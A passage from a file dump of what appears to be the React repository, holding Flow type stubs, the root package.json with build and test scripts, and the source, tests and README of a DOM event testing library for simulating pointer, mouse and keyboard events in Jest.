    "content": "// flow-typed signature: 132e48034ef4756600e1d98681a166b5\n// flow-typed version: c6154227d1/error-stack-parser_v2.x.x/flow_>=v0.104.x\n\ndeclare module 'error-stack-parser' {\n  declare interface StackFrame {\n    constructor(object: StackFrame): StackFrame;\n\n    isConstructor?: boolean;\n    getIsConstructor(): boolean;\n    setIsConstructor(): void;\n\n    isEval?: boolean;\n    getIsEval(): boolean;\n    setIsEval(): void;\n\n    isNative?: boolean;\n    getIsNative(): boolean;\n    setIsNative(): void;\n\n    isTopLevel?: boolean;\n    getIsTopLevel(): boolean;\n    setIsTopLevel(): void;\n\n    columnNumber?: number;\n    getColumnNumber(): number;\n    setColumnNumber(): void;\n\n    lineNumber?: number;\n    getLineNumber(): number;\n    setLineNumber(): void;\n\n    fileName?: string;\n    getFileName(): string;\n    setFileName(): void;\n\n    functionName?: string;\n    getFunctionName(): string;\n    setFunctionName(): void;\n\n    source?: string;\n    getSource(): string;\n    setSource(): void;\n\n    args?: any[];\n    getArgs(): any[];\n    setArgs(): void;\n\n    evalOrigin?: StackFrame;\n    getEvalOrigin(): StackFrame;\n    setEvalOrigin(): void;\n\n    toString(): string;\n  }\n\n  declare class ErrorStackParser {\n    parse(error: Error): Array<StackFrame>;\n  }\n\n  declare module.exports: ErrorStackParser;\n}\n"
  },
  {
    "path": "flow-typed/npm/minimist_v1.x.x.js",
    "content": "// flow-typed signature: d48da8db828529253fc20b80747846ea\n// flow-typed version: c6154227d1/minimist_v1.x.x/flow_>=v0.104.x\n\ndeclare module 'minimist' {\n  declare type minimistOptions = {\n    string?: string | Array<string>,\n    boolean?: boolean | string | Array<string>,\n    alias?: {[arg: string]: string | Array<string>, ...},\n    default?: {[arg: string]: any, ...},\n    stopEarly?: boolean,\n    // TODO: Strings as keys don't work...\n    // '--'? boolean,\n    unknown?: (param: string) => boolean,\n    ...\n  };\n\n  declare type minimistOutput = {\n    [flag: string]: string | boolean,\n    _: Array<string>,\n    ...\n  };\n\n  declare module.exports: (\n    argv: Array<string>,\n    opts?: minimistOptions\n  ) => minimistOutput;\n}\n"
  },
  {
    "path": "flow-typed.config.json",
    "content": "{\n  \"env\": [\n    \"bom\",\n    \"cssom\",\n    \"dom\",\n    \"geometry\",\n    \"html\",\n    \"node\",\n    \"serviceworkers\",\n    \"streams\",\n    \"web-animations\"\n  ],\n  \"ignore\": [\n    \"create-react-class\",\n    \"jest\",\n    \"regenerator-runtime\",\n    \"webpack\",\n    \"ws\"\n  ]\n}\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"private\": true,\n  \"workspaces\": [\n    \"packages/*\"\n  ],\n  \"devDependencies\": {\n    \"@babel/cli\": \"^7.10.5\",\n    \"@babel/code-frame\": \"^7.10.4\",\n    \"@babel/core\": \"^7.11.1\",\n    \"@babel/helper-define-map\": \"^7.18.6\",\n    \"@babel/helper-module-imports\": \"^7.10.4\",\n    \"@babel/parser\": \"^7.11.3\",\n    \"@babel/plugin-external-helpers\": \"^7.10.4\",\n    \"@babel/plugin-proposal-class-properties\": \"^7.10.4\",\n    \"@babel/plugin-proposal-object-rest-spread\": \"^7.11.0\",\n    \"@babel/plugin-syntax-dynamic-import\": \"^7.8.3\",\n    \"@babel/plugin-syntax-import-meta\": \"^7.10.4\",\n    \"@babel/plugin-syntax-jsx\": \"^7.23.3\",\n    \"@babel/plugin-syntax-typescript\": \"^7.14.5\",\n    \"@babel/plugin-transform-arrow-functions\": \"^7.10.4\",\n    \"@babel/plugin-transform-block-scoped-functions\": \"^7.10.4\",\n    \"@babel/plugin-transform-block-scoping\": \"^7.11.1\",\n    \"@babel/plugin-transform-class-properties\": \"^7.25.9\",\n    \"@babel/plugin-transform-classes\": \"^7.10.4\",\n    \"@babel/plugin-transform-computed-properties\": \"^7.10.4\",\n    \"@babel/plugin-transform-destructuring\": \"^7.10.4\",\n    \"@babel/plugin-transform-for-of\": \"^7.10.4\",\n    \"@babel/plugin-transform-literals\": \"^7.10.4\",\n    \"@babel/plugin-transform-modules-commonjs\": \"^7.10.4\",\n    \"@babel/plugin-transform-object-super\": \"^7.10.4\",\n    \"@babel/plugin-transform-parameters\": \"^7.10.5\",\n    \"@babel/plugin-transform-private-methods\": \"^7.10.4\",\n    \"@babel/plugin-transform-react-jsx\": \"^7.23.4\",\n    \"@babel/plugin-transform-react-jsx-development\": \"^7.22.5\",\n    \"@babel/plugin-transform-react-jsx-source\": \"^7.10.5\",\n    \"@babel/plugin-transform-shorthand-properties\": \"^7.10.4\",\n    \"@babel/plugin-transform-spread\": \"^7.11.0\",\n    \"@babel/plugin-transform-template-literals\": \"^7.10.5\",\n    \"@babel/preset-env\": \"^7.26.9\",\n    \"@babel/preset-flow\": \"^7.10.4\",\n    \"@babel/preset-react\": \"^7.23.3\",\n    \"@babel/preset-typescript\": \"^7.26.0\",\n    \"@babel/traverse\": \"^7.11.0\",\n    \"@rollup/plugin-babel\": \"^6.0.3\",\n    \"@rollup/plugin-commonjs\": \"^24.0.1\",\n    \"@rollup/plugin-node-resolve\": \"^15.0.1\",\n    \"@rollup/plugin-replace\": \"^5.0.2\",\n    \"@rollup/plugin-typescript\": \"^12.1.2\",\n    \"@types/invariant\": \"^2.2.35\",\n    \"@typescript-eslint/eslint-plugin\": \"^6.21.0\",\n    \"@typescript-eslint/parser\": \"^6.21.0\",\n    \"abortcontroller-polyfill\": \"^1.7.5\",\n    \"art\": \"0.10.1\",\n    \"babel-plugin-syntax-hermes-parser\": \"^0.32.0\",\n    \"babel-plugin-syntax-trailing-function-commas\": \"^6.5.0\",\n    \"chalk\": \"^3.0.0\",\n    \"cli-table\": \"^0.3.1\",\n    \"coffee-script\": \"^1.12.7\",\n    \"confusing-browser-globals\": \"^1.0.9\",\n    \"core-js\": \"^3.6.4\",\n    \"create-react-class\": \"^15.6.3\",\n    \"danger\": \"^11.2.3\",\n    \"error-stack-parser\": \"^2.0.6\",\n    \"eslint\": \"^7.7.0\",\n    \"eslint-config-prettier\": \"^6.9.0\",\n    \"eslint-plugin-babel\": \"^5.3.0\",\n    \"eslint-plugin-es\": \"^4.1.0\",\n    \"eslint-plugin-eslint-plugin\": \"^3.5.3\",\n    \"eslint-plugin-ft-flow\": \"^2.0.3\",\n    \"eslint-plugin-jest\": \"28.4.0\",\n    \"eslint-plugin-no-for-of-loops\": \"^1.0.0\",\n    \"eslint-plugin-no-function-declare-after-return\": \"^1.0.0\",\n    \"eslint-plugin-react\": \"^6.7.1\",\n    \"eslint-plugin-react-hooks-published\": \"npm:eslint-plugin-react-hooks@^5.2.0\",\n    \"eslint-plugin-react-internal\": \"link:./scripts/eslint-rules\",\n    \"fbjs-scripts\": \"^3.0.1\",\n    \"filesize\": \"^6.0.1\",\n    \"flow-bin\": \"^0.279.0\",\n    \"flow-remove-types\": \"^2.279.0\",\n    \"flow-typed\": \"^4.1.1\",\n    \"glob\": \"^7.1.6\",\n    \"glob-stream\": \"^6.1.0\",\n    \"google-closure-compiler\": \"^20230206.0.0\",\n    \"gzip-size\": \"^5.1.1\",\n    \"hermes-eslint\": \"^0.32.0\",\n    \"hermes-parser\": \"^0.32.0\",\n    \"jest\": \"^29.4.2\",\n    \"jest-cli\": \"^29.4.2\",\n    \"jest-diff\": \"^29.4.2\",\n    \"jest-environment-jsdom\": \"^29.4.2\",\n    \"jest-silent-reporter\": \"^0.6.0\",\n    \"jest-snapshot-serializer-raw\": \"^1.2.0\",\n    \"minimatch\": \"^3.0.4\",\n    \"minimist\": \"^1.2.3\",\n    \"mkdirp\": \"^0.5.1\",\n    \"ncp\": \"^2.0.0\",\n    \"prettier\": \"^3.3.3\",\n    \"prettier-2\": \"npm:prettier@^2\",\n    \"pretty-format\": \"^29.4.1\",\n    \"prop-types\": \"^15.6.2\",\n    \"random-seed\": \"^0.3.0\",\n    \"react-lifecycles-compat\": \"^3.0.4\",\n    \"rimraf\": \"^3.0.0\",\n    \"rollup\": \"^3.29.5\",\n    \"rollup-plugin-dts\": \"^6.1.1\",\n    \"rollup-plugin-prettier\": \"^4.1.1\",\n    \"rollup-plugin-strip-banner\": \"^3.0.0\",\n    \"semver\": \"^7.1.1\",\n    \"shelljs\": \"^0.8.5\",\n    \"signedsource\": \"^2.0.0\",\n    \"targz\": \"^1.0.1\",\n    \"through2\": \"^3.0.1\",\n    \"tmp\": \"^0.1.0\",\n    \"to-fast-properties\": \"^2.0.0\",\n    \"tsup\": \"^8.4.0\",\n    \"typescript\": \"^5.4.3\",\n    \"undici\": \"^5.28.4\",\n    \"web-streams-polyfill\": \"^3.1.1\",\n    \"yargs\": \"^15.3.1\"\n  },\n  \"jest\": {\n    \"testRegex\": \"/scripts/jest/dont-run-jest-directly\\\\.js$\"\n  },\n  \"scripts\": {\n    \"prebuild\": \"./scripts/react-compiler/link-compiler.sh\",\n    \"build\": \"node ./scripts/rollup/build-all-release-channels.js\",\n    \"build-for-devtools\": \"cross-env yarn build react/index,react/jsx,react/compiler-runtime,react-dom/index,react-dom/client,react-dom/unstable_testing,react-dom/test-utils,react-is,react-debug-tools,scheduler,react-test-renderer,react-refresh,react-art --type=NODE --release-channel=experimental\",\n    \"build-for-devtools-dev\": \"yarn build-for-devtools --type=NODE_DEV\",\n    \"build-for-devtools-prod\": \"yarn build-for-devtools --type=NODE_PROD\",\n    \"build-for-flight-dev\": \"cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react.react-server,react-dom/index,react-dom/client,react-dom/server,react-dom.react-server,react-dom-server.node,react-dom-server-legacy.node,scheduler,react-server-dom-webpack/,react-server-dom-unbundled/ --type=NODE_DEV,ESM_PROD,NODE_ES2015 && mv ./build/node_modules ./build/oss-experimental\",\n    \"build-for-vt-dev\": \"cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react-dom/index,react-dom/client,react-dom/server,react-dom-server.node,react-dom-server-legacy.node,scheduler --type=NODE_DEV && mv ./build/node_modules ./build/oss-experimental\",\n    \"flow-typed-install\": \"yarn flow-typed install --skip --skipFlowRestart --ignore-deps=dev\",\n    \"linc\": \"node ./scripts/tasks/linc.js\",\n    \"lint\": \"node ./scripts/tasks/eslint.js\",\n    \"lint-build\": \"node ./scripts/rollup/validate/index.js\",\n    \"extract-errors\": \"node scripts/error-codes/extract-errors.js\",\n    \"postinstall\": \"node ./scripts/flow/createFlowConfigs.js\",\n    \"test\": \"node ./scripts/jest/jest-cli.js\",\n    \"test-stable\": \"node ./scripts/jest/jest-cli.js --release-channel=stable\",\n    \"test-www\": \"node ./scripts/jest/jest-cli.js --release-channel=www-modern\",\n    \"test-classic\": \"node ./scripts/jest/jest-cli.js --release-channel=www-classic\",\n    \"test-build-devtools\": \"node ./scripts/jest/jest-cli.js --build --project devtools --release-channel=experimental\",\n    \"test-dom-fixture\": \"cd fixtures/dom && yarn && yarn test\",\n    \"flow\": \"node ./scripts/tasks/flow.js\",\n    \"flow-ci\": \"node ./scripts/tasks/flow-ci.js\",\n    \"prettier\": \"node ./scripts/prettier/index.js write-changed\",\n    \"prettier-all\": \"node ./scripts/prettier/index.js write\",\n    \"prettier-check\": \"node ./scripts/prettier/index.js\",\n    \"version-check\": \"node ./scripts/tasks/version-check.js\",\n    \"publish-prereleases\": \"echo 'This command has been deprecated. Please refer to https://github.com/facebook/react/tree/main/scripts/release#trigger-an-automated-prerelease'\",\n    \"download-build\": \"node ./scripts/release/download-experimental-build.js\",\n    \"download-build-for-head\": \"node ./scripts/release/download-experimental-build.js --commit=$(git rev-parse HEAD)\",\n    \"download-build-in-codesandbox-ci\": \"yarn build --type=node react/index react.react-server react-dom/index react-dom/client react-dom/src/server react-dom/test-utils react-dom.react-server scheduler/index react/jsx-runtime react/jsx-dev-runtime react-server-dom-webpack\",\n    \"check-release-dependencies\": \"node ./scripts/release/check-release-dependencies\",\n    \"generate-inline-fizz-runtime\": \"node ./scripts/rollup/generate-inline-fizz-runtime.js\",\n    \"generate-changelog\": \"node ./scripts/tasks/generate-changelog/index.js\",\n    \"flags\": \"node ./scripts/flags/flags.js\"\n  },\n  \"resolutions\": {\n    \"react-is\": \"npm:react-is\",\n    \"jsdom\": \"22.1.0\"\n  },\n  \"packageManager\": \"yarn@1.22.22\"\n}\n"
  },
  {
    "path": "packages/dom-event-testing-library/README.md",
    "content": "# `dom-event-testing-library`\n\nA library for unit testing events via high-level interactions, e.g., `pointerdown`,\nthat produce realistic and complete DOM event sequences.\n\nThere are number of challenges involved in unit testing modules that work with\nDOM events.\n\n1. Gesture recognizers may need to support environments with and without support for\n   the `PointerEvent` API.\n2. Gesture recognizers may need to support various user interaction modes including\n   mouse, touch, and pen use.\n3. Gesture recognizers must account for the actual event sequences browsers produce\n   (e.g., emulated touch and mouse events.)\n4. Gesture recognizers must work with \"virtual\" events produced by tools like\n   screen-readers.\n\nWriting unit tests to cover all these scenarios is tedious and error prone. This\nevent testing library is designed to solve these issues by allowing developers to\nmore easily dispatch events in unit tests, and to more reliably test pointer\ninteractions using a high-level API based on `PointerEvent`. Here's a basic example:\n\n```js\nimport {\n  describeWithPointerEvent,\n  testWithPointerType,\n  createEventTarget,\n  setPointerEvent,\n  resetActivePointers\n} from 'dom-event-testing-library';\n\ndescribeWithPointerEvent('useTap', hasPointerEvent => {\n  beforeEach(() => {\n    // basic PointerEvent mock\n    setPointerEvent(hasPointerEvent);\n  });\n\n  afterEach(() => {\n    // clear active pointers between test runs\n    resetActivePointers();\n  });\n\n  // test all the pointer types supported by the environment\n  testWithPointerType('pointer down', pointerType => {\n    const ref = createRef(null);\n    const onTapStart = jest.fn();\n    render(() => {\n      useTap(ref, { onTapStart });\n      return <div ref={ref} />\n    });\n\n    // create an event target\n    const target = createEventTarget(ref.current);\n    // dispatch high-level pointer event\n    target.pointerdown({ pointerType });\n\n    expect(onTapStart).toBeCalled();\n  });\n});\n```\n\nThis tests the interaction in multiple scenarios. In each case, a realistic DOM\nevent sequence–with complete mock events–is produced. When running in a mock\nenvironment without the `PointerEvent` API, the test runs for both `mouse` and\n`touch` pointer types. When `touch` is the pointer type it produces emulated mouse\nevents. When running in a mock environment with the `PointerEvent` API, the test\nruns for `mouse`, `touch`, and `pen` pointer types.\n\nIt's important to cover all these scenarios because it's very easy to introduce\nbugs – e.g., double calling of callbacks – if not accounting for emulated mouse\nevents, differences in target capturing between `touch` and `mouse` pointers, and\nthe different semantics of `button` across event APIs.\n\nDefault values are provided for the expected native events properties. They can\nalso be customized as needed in a test.\n\n```js\ntarget.pointerdown({\n  button: 0,\n  buttons: 1,\n  pageX: 10,\n  pageY: 10,\n  pointerType,\n  // NOTE: use x,y instead of clientX,clientY\n  x: 10,\n  y: 10\n});\n```\n\nTests that dispatch multiple pointer events will dispatch multi-touch native events\non the target.\n\n```js\n// first pointer is active\ntarget.pointerdown({pointerId: 1, pointerType});\n// second pointer is active\ntarget.pointerdown({pointerId: 2, pointerType});\n```\n"
  },
  {
    "path": "packages/dom-event-testing-library/__tests__/__snapshots__/index-test.internal.js.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`describeWithPointerEvent: MouseEvent/TouchEvent provides boolean to tests 1`] = `false`;\n\nexports[`describeWithPointerEvent: MouseEvent/TouchEvent testWithPointerType: mouse 1`] = `\"mouse\"`;\n\nexports[`describeWithPointerEvent: MouseEvent/TouchEvent testWithPointerType: touch 1`] = `\"touch\"`;\n\nexports[`describeWithPointerEvent: PointerEvent provides boolean to tests 1`] = `true`;\n\nexports[`describeWithPointerEvent: PointerEvent testWithPointerType: mouse 1`] = `\"mouse\"`;\n\nexports[`describeWithPointerEvent: PointerEvent testWithPointerType: pen 1`] = `\"pen\"`;\n\nexports[`describeWithPointerEvent: PointerEvent testWithPointerType: touch 1`] = `\"touch\"`;\n"
  },
  {
    "path": "packages/dom-event-testing-library/__tests__/index-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {defaultBrowserChromeSize} from '../constants';\n\nimport {\n  createEventTarget,\n  describeWithPointerEvent,\n  testWithPointerType,\n  resetActivePointers,\n} from '../index';\n\n/**\n * Unit test helpers\n */\ndescribeWithPointerEvent('describeWithPointerEvent', pointerEvent => {\n  test('provides boolean to tests', () => {\n    expect(pointerEvent).toMatchSnapshot();\n  });\n\n  testWithPointerType('testWithPointerType', pointerType => {\n    expect(pointerType).toMatchSnapshot();\n  });\n});\n\n/**\n * createEventTarget\n */\ndescribe('createEventTarget', () => {\n  let node;\n  beforeEach(() => {\n    node = document.createElement('div');\n  });\n\n  afterEach(() => {\n    node = null;\n    resetActivePointers();\n  });\n\n  it('returns expected API', () => {\n    const target = createEventTarget(node);\n    expect(target.node).toEqual(node);\n    expect(Object.keys(target)).toMatchInlineSnapshot(`\n      [\n        \"node\",\n        \"blur\",\n        \"click\",\n        \"focus\",\n        \"keydown\",\n        \"keyup\",\n        \"scroll\",\n        \"virtualclick\",\n        \"contextmenu\",\n        \"pointercancel\",\n        \"pointerdown\",\n        \"pointerhover\",\n        \"pointermove\",\n        \"pointerenter\",\n        \"pointerexit\",\n        \"pointerup\",\n        \"tap\",\n        \"setBoundingClientRect\",\n      ]\n    `);\n  });\n\n  /**\n   * Simple events\n   */\n\n  describe('.blur()', () => {\n    it('default', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('blur', e => {\n        expect(e.relatedTarget).toMatchInlineSnapshot(`null`);\n      });\n      target.blur();\n    });\n\n    it('custom payload', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('blur', e => {\n        expect(e.relatedTarget).toMatchInlineSnapshot(`null`);\n      });\n      target.blur();\n    });\n  });\n\n  describe('.click()', () => {\n    it('default', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('click', e => {\n        expect(e.altKey).toEqual(false);\n        expect(e.button).toEqual(0);\n        expect(e.buttons).toEqual(0);\n        expect(e.clientX).toEqual(0);\n        expect(e.clientY).toEqual(0);\n        expect(e.ctrlKey).toEqual(false);\n        expect(e.detail).toEqual(1);\n        expect(typeof e.getModifierState).toEqual('function');\n        expect(e.metaKey).toEqual(false);\n        expect(e.movementX).toEqual(0);\n        expect(e.movementY).toEqual(0);\n        expect(e.offsetX).toEqual(0);\n        expect(e.offsetY).toEqual(0);\n        expect(e.pageX).toEqual(0);\n        expect(e.pageY).toEqual(0);\n        expect(typeof e.preventDefault).toEqual('function');\n        expect(e.screenX).toEqual(0);\n        expect(e.screenY).toEqual(defaultBrowserChromeSize);\n        expect(e.shiftKey).toEqual(false);\n        expect(typeof e.timeStamp).toEqual('number');\n      });\n      target.click();\n    });\n\n    it('custom payload', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('click', e => {\n        expect(e.altKey).toEqual(true);\n        expect(e.button).toEqual(1);\n        expect(e.buttons).toEqual(4);\n        expect(e.clientX).toEqual(10);\n        expect(e.clientY).toEqual(20);\n        expect(e.ctrlKey).toEqual(true);\n        expect(e.metaKey).toEqual(true);\n        expect(e.movementX).toEqual(1);\n        expect(e.movementY).toEqual(2);\n        expect(e.offsetX).toEqual(5);\n        expect(e.offsetY).toEqual(5);\n        expect(e.pageX).toEqual(50);\n        expect(e.pageY).toEqual(50);\n        expect(e.screenX).toEqual(10);\n        expect(e.screenY).toEqual(20 + defaultBrowserChromeSize);\n        expect(e.shiftKey).toEqual(true);\n      });\n      target.click({\n        altKey: true,\n        button: 1,\n        buttons: 4,\n        x: 10,\n        y: 20,\n        ctrlKey: true,\n        metaKey: true,\n        movementX: 1,\n        movementY: 2,\n        offsetX: 5,\n        offsetY: 5,\n        pageX: 50,\n        pageY: 50,\n        shiftKey: true,\n      });\n    });\n  });\n\n  describe('.focus()', () => {\n    it('default', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('focus', e => {\n        expect(e.relatedTarget).toMatchInlineSnapshot(`null`);\n      });\n      target.blur();\n    });\n\n    it('custom payload', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('focus', e => {\n        expect(e.relatedTarget).toMatchInlineSnapshot(`null`);\n      });\n      target.blur();\n    });\n  });\n\n  describe('.keydown()', () => {\n    it('default', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('keydown', e => {\n        expect(e.altKey).toEqual(false);\n        expect(e.ctrlKey).toEqual(false);\n        expect(typeof e.getModifierState).toEqual('function');\n        expect(e.key).toEqual('');\n        expect(e.metaKey).toEqual(false);\n        expect(typeof e.preventDefault).toEqual('function');\n        expect(e.shiftKey).toEqual(false);\n        expect(typeof e.timeStamp).toEqual('number');\n      });\n      target.keydown();\n    });\n\n    it('custom payload', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('keydown', e => {\n        expect(e.altKey).toEqual(true);\n        expect(e.ctrlKey).toEqual(true);\n        expect(e.isComposing).toEqual(true);\n        expect(e.key).toEqual('Enter');\n        expect(e.metaKey).toEqual(true);\n        expect(e.shiftKey).toEqual(true);\n      });\n      target.keydown({\n        altKey: true,\n        ctrlKey: true,\n        isComposing: true,\n        key: 'Enter',\n        metaKey: true,\n        shiftKey: true,\n      });\n    });\n  });\n\n  describe('.keyup()', () => {\n    it('default', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('keyup', e => {\n        expect(e.altKey).toEqual(false);\n        expect(e.ctrlKey).toEqual(false);\n        expect(typeof e.getModifierState).toEqual('function');\n        expect(e.key).toEqual('');\n        expect(e.metaKey).toEqual(false);\n        expect(typeof e.preventDefault).toEqual('function');\n        expect(e.shiftKey).toEqual(false);\n        expect(typeof e.timeStamp).toEqual('number');\n      });\n      target.keydown();\n    });\n\n    it('custom payload', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('keyup', e => {\n        expect(e.altKey).toEqual(true);\n        expect(e.ctrlKey).toEqual(true);\n        expect(e.isComposing).toEqual(true);\n        expect(e.key).toEqual('Enter');\n        expect(e.metaKey).toEqual(true);\n        expect(e.shiftKey).toEqual(true);\n      });\n      target.keyup({\n        altKey: true,\n        ctrlKey: true,\n        isComposing: true,\n        key: 'Enter',\n        metaKey: true,\n        shiftKey: true,\n      });\n    });\n  });\n\n  describe('.scroll()', () => {\n    it('default', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('scroll', e => {\n        expect(e.type).toEqual('scroll');\n      });\n      target.scroll();\n    });\n  });\n\n  describe('.virtualclick()', () => {\n    it('default', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('click', e => {\n        expect(e.altKey).toEqual(false);\n        expect(e.button).toEqual(0);\n        expect(e.buttons).toEqual(0);\n        expect(e.clientX).toEqual(0);\n        expect(e.clientY).toEqual(0);\n        expect(e.ctrlKey).toEqual(false);\n        expect(e.detail).toEqual(0);\n        expect(typeof e.getModifierState).toEqual('function');\n        expect(e.metaKey).toEqual(false);\n        expect(e.movementX).toEqual(0);\n        expect(e.movementY).toEqual(0);\n        expect(e.offsetX).toEqual(0);\n        expect(e.offsetY).toEqual(0);\n        expect(e.pageX).toEqual(0);\n        expect(e.pageY).toEqual(0);\n        expect(typeof e.preventDefault).toEqual('function');\n        expect(e.screenX).toEqual(0);\n        expect(e.screenY).toEqual(0);\n        expect(e.shiftKey).toEqual(false);\n        expect(typeof e.timeStamp).toEqual('number');\n      });\n      target.virtualclick();\n    });\n\n    it('custom payload', () => {\n      const target = createEventTarget(node);\n      node.addEventListener('click', e => {\n        // expect most of the custom payload to be ignored\n        expect(e.altKey).toEqual(true);\n        expect(e.button).toEqual(1);\n        expect(e.buttons).toEqual(0);\n        expect(e.clientX).toEqual(0);\n        expect(e.clientY).toEqual(0);\n        expect(e.ctrlKey).toEqual(true);\n        expect(e.detail).toEqual(0);\n        expect(e.metaKey).toEqual(true);\n        expect(e.pageX).toEqual(0);\n        expect(e.pageY).toEqual(0);\n        expect(e.screenX).toEqual(0);\n        expect(e.screenY).toEqual(0);\n        expect(e.shiftKey).toEqual(true);\n      });\n      target.virtualclick({\n        altKey: true,\n        button: 1,\n        buttons: 4,\n        x: 10,\n        y: 20,\n        ctrlKey: true,\n        metaKey: true,\n        pageX: 50,\n        pageY: 50,\n        shiftKey: true,\n      });\n    });\n  });\n\n  /**\n   * Complex event sequences\n   *\n   * ...coming soon\n   */\n\n  /**\n   * Other APIs\n   */\n\n  it('.setBoundingClientRect()', () => {\n    const target = createEventTarget(node);\n    expect(node.getBoundingClientRect()).toMatchInlineSnapshot(`\n      {\n        \"bottom\": 0,\n        \"height\": 0,\n        \"left\": 0,\n        \"right\": 0,\n        \"top\": 0,\n        \"width\": 0,\n        \"x\": 0,\n        \"y\": 0,\n      }\n    `);\n    target.setBoundingClientRect({x: 10, y: 20, width: 100, height: 200});\n    expect(node.getBoundingClientRect()).toMatchInlineSnapshot(`\n      {\n        \"bottom\": 220,\n        \"height\": 200,\n        \"left\": 10,\n        \"right\": 110,\n        \"top\": 20,\n        \"width\": 100,\n      }\n    `);\n  });\n});\n"
  },
  {
    "path": "packages/dom-event-testing-library/constants.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nexport const defaultPointerId = 1;\nexport const defaultPointerSize = 23;\nexport const defaultBrowserChromeSize = 50;\n\n/**\n * Button property\n * This property only guarantees to indicate which buttons are pressed during events caused by pressing or\n * releasing one or multiple buttons. As such, it is not reliable for events such as 'mouseenter', 'mouseleave',\n * 'mouseover', 'mouseout' or 'mousemove'. Furthermore, the semantics differ for PointerEvent, where the value\n * for 'pointermove' will always be -1.\n */\n\nexport const buttonType = {\n  // no change since last event\n  none: -1,\n  // left-mouse\n  // touch contact\n  // pen contact\n  primary: 0,\n  // right-mouse\n  // pen barrel button\n  secondary: 2,\n  // middle mouse\n  auxiliary: 1,\n  // back mouse\n  back: 3,\n  // forward mouse\n  forward: 4,\n  // pen eraser\n  eraser: 5,\n};\n\n/**\n * Buttons bitmask\n */\n\nexport const buttonsType = {\n  none: 0,\n  // left-mouse\n  // touch contact\n  // pen contact\n  primary: 1,\n  // right-mouse\n  // pen barrel button\n  secondary: 2,\n  // middle mouse\n  auxiliary: 4,\n  // back mouse\n  back: 8,\n  // forward mouse\n  forward: 16,\n  // pen eraser\n  eraser: 32,\n};\n"
  },
  {
    "path": "packages/dom-event-testing-library/domEnvironment.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n/**\n * Change environment support for PointerEvent.\n */\n\nfunction emptyFunction() {}\n\nexport function hasPointerEvent() {\n  return global != null && global.PointerEvent != null;\n}\n\nexport function setPointerEvent(bool) {\n  const pointerCaptureFn = name => id => {\n    if (typeof id !== 'number') {\n      if (__DEV__) {\n        console.error('A pointerId must be passed to \"%s\"', name);\n      }\n    }\n  };\n  global.PointerEvent = bool ? emptyFunction : undefined;\n  global.HTMLElement.prototype.setPointerCapture = bool\n    ? pointerCaptureFn('setPointerCapture')\n    : undefined;\n  global.HTMLElement.prototype.releasePointerCapture = bool\n    ? pointerCaptureFn('releasePointerCapture')\n    : undefined;\n}\n\n/**\n * Change environment host platform.\n */\n\nconst platformGetter = jest.spyOn(global.navigator, 'platform', 'get');\n\nexport const platform = {\n  clear() {\n    platformGetter.mockClear();\n  },\n  get() {\n    return global.navigator.platform === 'MacIntel' ? 'mac' : 'windows';\n  },\n  set(name: 'mac' | 'windows') {\n    switch (name) {\n      case 'mac': {\n        platformGetter.mockReturnValue('MacIntel');\n        break;\n      }\n      case 'windows': {\n        platformGetter.mockReturnValue('Win32');\n        break;\n      }\n      default: {\n        break;\n      }\n    }\n  },\n};\n"
  },
  {
    "path": "packages/dom-event-testing-library/domEventSequences.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {\n  buttonType,\n  buttonsType,\n  defaultPointerId,\n  defaultPointerSize,\n  defaultBrowserChromeSize,\n} from './constants';\nimport * as domEvents from './domEvents';\nimport {hasPointerEvent, platform} from './domEnvironment';\nimport * as touchStore from './touchStore';\n\n/**\n * Converts a PointerEvent payload to a Touch\n */\nfunction createTouch(target, payload) {\n  const {\n    height = defaultPointerSize,\n    pageX,\n    pageY,\n    pointerId,\n    pressure = 1,\n    twist = 0,\n    width = defaultPointerSize,\n    x = 0,\n    y = 0,\n  } = payload;\n\n  return {\n    clientX: x,\n    clientY: y,\n    force: pressure,\n    identifier: pointerId,\n    pageX: pageX || x,\n    pageY: pageY || y,\n    radiusX: width / 2,\n    radiusY: height / 2,\n    rotationAngle: twist,\n    target,\n    screenX: x,\n    screenY: y + defaultBrowserChromeSize,\n  };\n}\n\n/**\n * Converts a PointerEvent to a TouchEvent\n */\nfunction createTouchEventPayload(target, touch, payload) {\n  const {\n    altKey = false,\n    ctrlKey = false,\n    metaKey = false,\n    preventDefault,\n    shiftKey = false,\n    timeStamp,\n  } = payload;\n\n  return {\n    altKey,\n    changedTouches: [touch],\n    ctrlKey,\n    metaKey,\n    preventDefault,\n    shiftKey,\n    targetTouches: touchStore.getTargetTouches(target),\n    timeStamp,\n    touches: touchStore.getTouches(),\n  };\n}\n\nfunction getPointerType(payload) {\n  let pointerType = 'mouse';\n  if (payload != null && payload.pointerType != null) {\n    pointerType = payload.pointerType;\n  }\n  return pointerType;\n}\n\n/**\n * Pointer events sequences.\n *\n * Creates representative browser event sequences for high-level gestures based on pointers.\n * This allows unit tests to be written in terms of simple pointer interactions while 